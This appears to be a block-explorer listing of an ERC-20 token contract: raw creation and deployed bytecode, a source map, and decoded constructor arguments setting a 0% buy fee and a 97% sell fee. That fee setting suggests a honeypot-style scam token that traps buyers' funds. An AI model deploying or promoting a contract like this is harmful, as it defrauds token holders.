101604052809291908181526020018280546105cb90611927565b80156106165780601f106105ed57610100808354040283529160200191610616565b820191905f5260205f20905b8154815290600101906020018083116105f957829003601f168201915b5050505050905090565b5f61063361062c610d6d565b8484610d74565b6001905092915050565b600c60059054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b5f600b54905090565b600d60149054906101000a900460ff1681565b5f61068b848484610f02565b61074884610697610d6d565b61074385604051806060016040528060288152602001611b866028913960035f8b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f6106fa610d6d565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20546111229092919063ffffffff16565b610d74565b600190509392505050565b5f60095f9054906101000a900460ff16905090565b5f61080c610774610d6d565b846108078560035f610784610d6d565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205461117690919063ffffffff16565b610d74565b6001905092915050565b600d5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b600d60159054906101000a900460ff1681565b5f60015f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20549050919050565b61089c610d6d565b73ffffffffffffffffffffffffffffffffffffffff166108ba610a0c565b73ffffffffffffffffffffffffffffffffffffffff1614610910576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610907906119a1565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff165f8054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a35f805f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b6002602052805f5260405f205f915054906101000a900460ff1681565b60065f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b5f805f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b606060088054610a4290611927565b80601f0160208091040260200160405190810160405280929190818152602001828054610a6e90611927565b8015610ab95780601f10610a9057610100808354040283529160200191610ab9565b820191905f5260205f20905b815481529060010190602001808311610a9c57829003601f168201915b5050505050905090565b60055f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b5f610ba6610af4610d6d565b84610ba185604051806060016040528060258152602001611bae6025913960035f610b1d610d6d565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20546111229092919063ffffffff16565b610d74565b6001905092915050565b5f610bc3610bbc610d6d565b8484610f02565b6001905092915050565b600b5481565b60088054610be090611927565b80601f0160208091040260200160405190810160405280929190818152602001828054610c0c90611927565b8015610c575780601f10610c2e57610100808354040283529160200191610c57565b820191905f5260205f20905b815481529060010190602001808311610c3a57829003601f168201915b505050505081565b60078054610c6c90611927565b80601f0160208091040260200160405190810160405280929190818152602001828054610c9890611927565b8015610ce35780601f10610cba57610100808354040283529160200191610ce3565b820191905f5260205f20905b815481529060010190602001808311610cc657829003601f168201915b505050505081565b5f60035f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054905092915050565b5f33905090565b5f73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614158015610ddc57505f73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b610e1b576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610e1290611a09565b60405180910390fd5b8060035f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92583604051610ef59190611793565b60405180910390a3505050565b5f805f60045f8673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff1660ff1611905060025f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff1680610ff0575060025f8673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff165b15611037575f9150600c60049054906101000a900460ff1680156110115750805b15611032578015600c60046101000a81548160ff0219169083151502179055505b611099565b600d5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff1603611093575f9150611098565b600191505b5b6110b685858585600c60049054906101000a900460ff168661118b565b8373ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040516111139190611793565b60405180910390a35050505050565b5f838311158290611169576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161116091906115ee565b60405180910390fd5b5082840390509392505050565b5f81836111839190611a54565b905092915050565b6111db8460015f8973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205461154f90919063ffffffff16565b60015f8873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055508215611416575f60648315611274576040518060400160405280600c60029054906101000a900460ff1660ff1660ff1681526020015f60ff168152505f6002811061126a57611269611a87565b5b60200201516112ba565b60405180604001604052805f60ff168152602001600c60039054906101000a900460ff1660ff1660ff168152506001600281106112b4576112b3611a87565b5b60200201515b60ff16866112c89190611ab4565b6112d29190611b22565b90505f811461136d5761132b8160015f3073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205461117690919063ffffffff16565b60015f3073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055505b6113cf611383828761154f90919063ffffffff16565b60015f8973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205461117690919063ffffffff16565b60015f8873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f208190555050611547565b80156114b45761146e600a5460015f8873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205461117690919063ffffffff16565b60015f8773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2081905550611546565b6115048460015f8873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205461117690919063ffffffff16565b60015f8773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055505b5b505050505050565b5f818361155c9190611b52565b905092915050565b5f81519050919050565b5f82825260208201905092915050565b5f5b8381101561159b578082015181840152602081019050611580565b5f8484015250505050565b5f601f19601f8301169050919050565b5f6115c082611564565b6115ca818561156e565b93506115da81856020860161157e565b6115e3816115a6565b840191505092915050565b5f6020820190508181035f83015261160681846115b6565b905092915050565b5f80fd5b5f73ffffffffffffffffffffffffffffffffffffffff82169050919050565b5f61163b82611612565b9050919050565b61164b81611631565b8114611655575f80fd5b50565b5f8135905061166681611642565b92915050565b5f819050919050565b61167e8161166c565b8114611688575f80fd5b50565b5f8135905061169981611675565b92915050565b5f80604083850312156116b5576116b461160e565b5b5f6116c285828601611658565b92505060206116d38582860161168b565b9150509250929050565b5f8115159050919050565b6116f1816116dd565b82525050565b5f60208201905061170a5f8301846116e8565b92915050565b5f819050919050565b5f61173361172e61172984611612565b611710565b611612565b9050919050565b5f61174482611719565b9050919050565b5f6117558261173a565b9050919050565b6117658161174b565b82525050565b5f60208201905061177e5f83018461175c565b92915050565b61178d8161166c565b82525050565b5f6020820190506117a65f830184611784565b92915050565b5f805f606084860312156117c3576117c261160e565b5b5f6117d086828701611658565b93505060206117e186828701611658565b92505060406117f28682870161168b565b9150509250925092565b5f60ff82169050919050565b611811816117fc565b82525050565b5f60208201905061182a5f830184611808565b92915050565b61183981611631565b82525050565b5f6020820190506118525f830184611830565b92915050565b5f6020828403121561186d5761186c61160e565b5b5f61187a84828501611658565b91505092915050565b5f61188d82611612565b9050919050565b61189d81611883565b82525050565b5f6020820190506118b65f830184611894565b92915050565b5f80604083850312156118d2576118d161160e565b5b5f6118df85828601611658565b92505060206118f085828601611658565b9150509250929050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52602260045260245ffd5b5f600282049050600182168061193e57607f821691505b602082108103611951576119506118fa565b5b50919050565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e65725f82015250565b5f61198b60208361156e565b915061199682611957565b602082019050919050565b5f6020820190508181035f8301526119b88161197f565b9050919050565b7f4164726573733a203000000000000000000000000000000000000000000000005f82015250565b5f6119f360098361156e565b91506119fe826119bf565b602082019050919050565b5f6020820190508181035f830152611a20816119e7565b9050919050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52601160045260245ffd5b5f611a5e8261166c565b9150611a698361166c565b9250828201905080821115611a8157611a80611a27565b5b92915050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52603260045260245ffd5b5f611abe8261166c565b9150611ac98361166c565b9250828202611ad78161166c565b91508282048414831517611aee57611aed611a27565b5b5092915050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52601260045260245ffd5b5f611b2c8261166c565b9150611b378361166c565b925082611b4757611b46611af5565b5b828204905092915050565b5f611b5c8261166c565b9150611b678361166c565b9250828203905081811115611b7f57611b7e611a27565b5b9291505056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e636545524332303a2064656372656173656420616c6c6f77616e63652062656c6f77207a65726fa26469706673582212207110ef60b9c402f512a27919d21d86ed116d7def31a8d099bf549a02f9ee552664736f6c63430008140033000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000610000000000000000000000000000000000000000000845951614014849ffffff

Deployed Bytecode

0x608060405260043610610143575f3560e01c8063715018a6116100b5578063a457c2d71161006e578063a457c2d71461045e578063a9059cbb1461049a578063af465a27146104d6578063b09f126614610500578063d28d88521461052a578063dd62ed3e146105545761014a565b8063715018a6146103645780637d7214471461037a5780638bf4a9a3146103b65780638da5cb5b146103e057806395d89b411461040a5780639f4a12f5146104345761014a565b806323b872dd1161010757806323b872dd14610232578063313ce5671461026e578063395093511461029857806349bd5a5e146102d45780634a74bb02146102fe57806370a08231146103285761014a565b806306fdde031461014e578063095ea7b3146101785780631694505e146101b457806318160ddd146101de578063220f6696146102085761014a565b3661014a57005b5f80fd5b348015610159575f80fd5b50610162610590565b60405161016f91906115ee565b60405180910390f35b348015610183575f80fd5b5061019e6004803603810190610199919061169f565b610620565b6040516101ab91906116f7565b60405180910390f35b3480156101bf575f80fd5b506101c861063d565b6040516101d5919061176b565b60405180910390f35b3480156101e9575f80fd5b506101f2610663565b6040516101ff9190611793565b60405180910390f35b348015610213575f80fd5b5061021c61066c565b60405161022991906116f7565b60405180910390f35b34801561023d575f80fd5b50610258600480360381019061025391906117ac565b61067f565b60405161026591906116f7565b60405180910390f35b348015610279575f80fd5b50610282610753565b60405161028f9190611817565b60405180910390f35b3480156102a3575f80fd5b506102be60048036038101906102b9919061169f565b610768565b6040516102cb91906116f7565b60405180910390f35b3480156102df575f80fd5b506102e8610816565b6040516102f5919061183f565b60405180910390f35b348015610309575f80fd5b5061031261083b565b60405161031f91906116f7565b60405180910390f35b348015610333575f80fd5b5061034e60048036038101906103499190611858565b61084e565b60405161035b9190611793565b60405180910390f35b34801561036f575f80fd5b50610378610894565b005b348015610385575f80fd5b506103a0600480360381019061039b9190611858565b6109ca565b6040516103ad91906116f7565b60405180910390f35b3480156103c1575f80fd5b506103ca6109e7565b6040516103d791906118a3565b60405180910390f35b3480156103eb575f80fd5b506103f4610a0c565b604051610401919061183f565b60405180910390f35b348015610415575f80fd5b5061041e610a33565b60405161042b91906115ee565b60405180910390f35b34801561043f575f80fd5b50610448610ac3565b60405161045591906118a3565b60405180910390f35b348015610469575f80fd5b50610484600480360381019061047f919061169f565b610ae8565b60405161049191906116f7565b60405180910390f35b3480156104a5575f80fd5b506104c060048036038101906104bb919061169f565b610bb0565b6040516104cd91906116f7565b60405180910390f35b3480156104e1575f80fd5b506104ea610bcd565b6040516104f79190611793565b60405180910390f35b34801561050b575f80fd5b50610514610bd3565b60405161052191906115ee565b60405180910390f35b348015610535575f80fd5b5061053e610c5f565b60405161054b91906115ee565b60405180910390f35b34801561055f575f80fd5b5061057a600480360381019061057591906118bc565b610ceb565b6040516105879190611793565b60405180910390f35b60606007805461059f90611927565b80601f01602080910402602001604051908101604052809291908181526020018280546105cb90611927565b80156106165780601f106105ed57610100808354040283529160200191610616565b820191905f5260205f20905b8154815290600101906020018083116105f957829003601f168201915b5050505050905090565b5f61063361062c610d6d565b8484610d74565b6001905092915050565b600c60059054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b5f600b54905090565b600d60149054906101000a900460ff1681565b5f61068b848484610f02565b61074884610697610d6d565b61074385604051806060016040528060288152602001611b866028913960035f8b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f6106fa610d6d565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20546111229092919063ffffffff16565b610d74565b600190509392505050565b5f60095f9054906101000a900460ff16905090565b5f61080c610774610d6d565b846108078560035f610784610d6d565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205461117690919063ffffffff16565b610d74565b6001905092915050565b600d5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b600d60159054906101000a900460ff1681565b5f60015f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20549050919050565b61089c610d6d565b73ffffffffffffffffffffffffffffffffffffffff166108ba610a0c565b73ffffffffffffffffffffffffffffffffffffffff1614610910576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610907906119a1565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff165f8054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a35f805f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b6002602052805f5260405f205f915054906101000a900460ff1681565b60065f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b5f805f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b606060088054610a4290611927565b80601f0160208091040260200160405190810160405280929190818152602001828054610a6e90611927565b8015610ab95780601f10610a9057610100808354040283529160200191610ab9565b820191905f5260205f20905b815481529060010190602001808311610a9c57829003601f168201915b5050505050905090565b60055f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b5f610ba6610af4610d6d565b84610ba185604051806060016040528060258152602001611bae6025913960035f610b1d610d6d565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20546111229092919063ffffffff16565b610d74565b6001905092915050565b5f610bc3610bbc610d6d565b8484610f02565b6001905092915050565b600b5481565b60088054610be090611927565b80601f0160208091040260200160405190810160405280929190818152602001828054610c0c90611927565b8015610c575780601f10610c2e57610100808354040283529160200191610c57565b820191905f5260205f20905b815481529060010190602001808311610c3a57829003601f168201915b505050505081565b60078054610c6c90611927565b80601f0160208091040260200160405190810160405280929190818152602001828054610c9890611927565b8015610ce35780601f10610cba57610100808354040283529160200191610ce3565b820191905f5260205f20905b815481529060010190602001808311610cc657829003601f168201915b505050505081565b5f60035f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054905092915050565b5f33905090565b5f73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614158015610ddc57505f73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b610e1b576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610e1290611a09565b60405180910390fd5b8060035f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92583604051610ef59190611793565b60405180910390a3505050565b5f805f60045f8673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff1660ff1611905060025f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff1680610ff0575060025f8673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff165b15611037575f9150600c60049054906101000a900460ff1680156110115750805b15611032578015600c60046101000a81548160ff0219169083151502179055505b611099565b600d5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff1603611093575f9150611098565b600191505b5b6110b685858585600c60049054906101000a900460ff168661118b565b8373ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040516111139190611793565b60405180910390a35050505050565b5f838311158290611169576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161116091906115ee565b60405180910390fd5b5082840390509392505050565b5f81836111839190611a54565b905092915050565b6111db8460015f8973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205461154f90919063ffffffff16565b60015f8873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055508215611416575f60648315611274576040518060400160405280600c60029054906101000a900460ff1660ff1660ff1681526020015f60ff168152505f6002811061126a57611269611a87565b5b60200201516112ba565b60405180604001604052805f60ff168152602001600c60039054906101000a900460ff1660ff1660ff168152506001600281106112b4576112b3611a87565b5b60200201515b60ff16866112c89190611ab4565b6112d29190611b22565b90505f811461136d5761132b8160015f3073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205461117690919063ffffffff16565b60015f3073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055505b6113cf611383828761154f90919063ffffffff16565b60015f8973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205461117690919063ffffffff16565b60015f8873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f208190555050611547565b80156114b45761146e600a5460015f8873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205461117690919063ffffffff16565b60015f8773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2081905550611546565b6115048460015f8873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205461117690919063ffffffff16565b60015f8773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055505b5b505050505050565b5f818361155c9190611b52565b905092915050565b5f81519050919050565b5f82825260208201905092915050565b5f5b8381101561159b578082015181840152602081019050611580565b5f8484015250505050565b5f601f19601f8301169050919050565b5f6115c082611564565b6115ca818561156e565b93506115da81856020860161157e565b6115e3816115a6565b840191505092915050565b5f6020820190508181035f83015261160681846115b6565b905092915050565b5f80fd5b5f73ffffffffffffffffffffffffffffffffffffffff82169050919050565b5f61163b82611612565b9050919050565b61164b81611631565b8114611655575f80fd5b50565b5f8135905061166681611642565b92915050565b5f819050919050565b61167e8161166c565b8114611688575f80fd5b50565b5f8135905061169981611675565b92915050565b5f80604083850312156116b5576116b461160e565b5b5f6116c285828601611658565b92505060206116d38582860161168b565b9150509250929050565b5f8115159050919050565b6116f1816116dd565b82525050565b5f60208201905061170a5f8301846116e8565b92915050565b5f819050919050565b5f61173361172e61172984611612565b611710565b611612565b9050919050565b5f61174482611719565b9050919050565b5f6117558261173a565b9050919050565b6117658161174b565b82525050565b5f60208201905061177e5f83018461175c565b92915050565b61178d8161166c565b82525050565b5f6020820190506117a65f830184611784565b92915050565b5f805f606084860312156117c3576117c261160e565b5b5f6117d086828701611658565b93505060206117e186828701611658565b92505060406117f28682870161168b565b9150509250925092565b5f60ff82169050919050565b611811816117fc565b82525050565b5f60208201905061182a5f830184611808565b92915050565b61183981611631565b82525050565b5f6020820190506118525f830184611830565b92915050565b5f6020828403121561186d5761186c61160e565b5b5f61187a84828501611658565b91505092915050565b5f61188d82611612565b9050919050565b61189d81611883565b82525050565b5f6020820190506118b65f830184611894565b92915050565b5f80604083850312156118d2576118d161160e565b5b5f6118df85828601611658565b92505060206118f085828601611658565b9150509250929050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52602260045260245ffd5b5f600282049050600182168061193e57607f821691505b602082108103611951576119506118fa565b5b50919050565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e65725f82015250565b5f61198b60208361156e565b915061199682611957565b602082019050919050565b5f6020820190508181035f8301526119b88161197f565b9050919050565b7f4164726573733a203000000000000000000000000000000000000000000000005f82015250565b5f6119f360098361156e565b91506119fe826119bf565b602082019050919050565b5f6020820190508181035f830152611a20816119e7565b9050919050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52601160045260245ffd5b5f611a5e8261166c565b9150611a698361166c565b9250828201905080821115611a8157611a80611a27565b5b92915050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52603260045260245ffd5b5f611abe8261166c565b9150611ac98361166c565b9250828202611ad78161166c565b91508282048414831517611aee57611aed611a27565b5b5092915050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52601260045260245ffd5b5f611b2c8261166c565b9150611b378361166c565b925082611b4757611b46611af5565b5b828204905092915050565b5f611b5c8261166c565b9150611b678361166c565b9250828203905081811115611b7f57611b7e611a27565b5b9291505056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e636545524332303a2064656372656173656420616c6c6f77616e63652062656c6f77207a65726fa26469706673582212207110ef60b9c402f512a27919d21d86ed116d7def31a8d099bf549a02f9ee552664736f6c63430008140033

Constructor Arguments (ABI-Encoded and is the last bytes of the Contract Creation Code above)

000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000610000000000000000000000000000000000000000000845951614014849ffffff

-----Decoded View---------------
Arg [0] : _buy_fee (uint8): 0
Arg [1] : _sell_fee (uint8): 97
Arg [2] : _supply (uint256): 9999999999999999999999999

-----Encoded View---------------
3 Constructor Arguments found :
Arg [0] : 0000000000000000000000000000000000000000000000000000000000000000
Arg [1] : 0000000000000000000000000000000000000000000000000000000000000061
Arg [2] : 0000000000000000000000000000000000000000000845951614014849ffffff


Deployed Bytecode Sourcemap

13851:6249:0:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;15991:83;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;16824:161;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;14781:41;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;16173:95;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;14864:28;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;16993:313;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;16082:83;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;17314:218;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;14829:28;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;14899:40;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;16371:119;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;13690:148;;;;;;;;;;;;;:::i;:::-;;14025:46;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;14303:94;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;13467:87;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;16276;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;14208:88;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;17540:269;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;16498:167;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;14549:53;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;14446:33;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;14406;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;16673:143;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;15991:83;16028:13;16061:5;16054:12;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;15991:83;:::o;16824:161::-;16899:4;16916:39;16925:12;:10;:12::i;:::-;16939:7;16948:6;16916:8;:39::i;:::-;16973:4;16966:11;;16824:161;;;;:::o;14781:41::-;;;;;;;;;;;;;:::o;16173:95::-;16226:7;16253;;16246:14;;16173:95;:::o;14864:28::-;;;;;;;;;;;;;:::o;16993:313::-;17091:4;17108:36;17118:6;17126:9;17137:6;17108:9;:36::i;:::-;17155:121;17164:6;17172:12;:10;:12::i;:::-;17186:89;17224:6;17186:89;;;;;;;;;;;;;;;;;:11;:19;17198:6;17186:19;;;;;;;;;;;;;;;:33;17206:12;:10;:12::i;:::-;17186:33;;;;;;;;;;;;;;;;:37;;:89;;;;;:::i;:::-;17155:8;:121::i;:::-;17294:4;17287:11;;16993:313;;;;;:::o;16082:83::-;16123:5;16148:9;;;;;;;;;;;16141:16;;16082:83;:::o;17314:218::-;17402:4;17419:83;17428:12;:10;:12::i;:::-;17442:7;17451:50;17490:10;17451:11;:25;17463:12;:10;:12::i;:::-;17451:25;;;;;;;;;;;;;;;:34;17477:7;17451:34;;;;;;;;;;;;;;;;:38;;:50;;;;:::i;:::-;17419:8;:83::i;:::-;17520:4;17513:11;;17314:218;;;;:::o;14829:28::-;;;;;;;;;;;;;:::o;14899:40::-;;;;;;;;;;;;;:::o;16371:119::-;16437:7;16464:9;:18;16474:7;16464:18;;;;;;;;;;;;;;;;16457:25;;16371:119;;;:::o;13690:148::-;13613:12;:10;:12::i;:::-;13602:23;;:7;:5;:7::i;:::-;:23;;;13594:68;;;;;;;;;;;;:::i;:::-;;;;;;;;;13797:1:::1;13760:40;;13781:6;::::0;::::1;;;;;;;;13760:40;;;;;;;;;;;;13828:1;13811:6:::0;::::1;:19;;;;;;;;;;;;;;;;;;13690:148::o:0;14025:46::-;;;;;;;;;;;;;;;;;;;;;;:::o;14303:94::-;;;;;;;;;;;;;:::o;13467:87::-;13513:7;13540:6;;;;;;;;;;;13533:13;;13467:87;:::o;16276:::-;16315:13;16348:7;16341:14;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;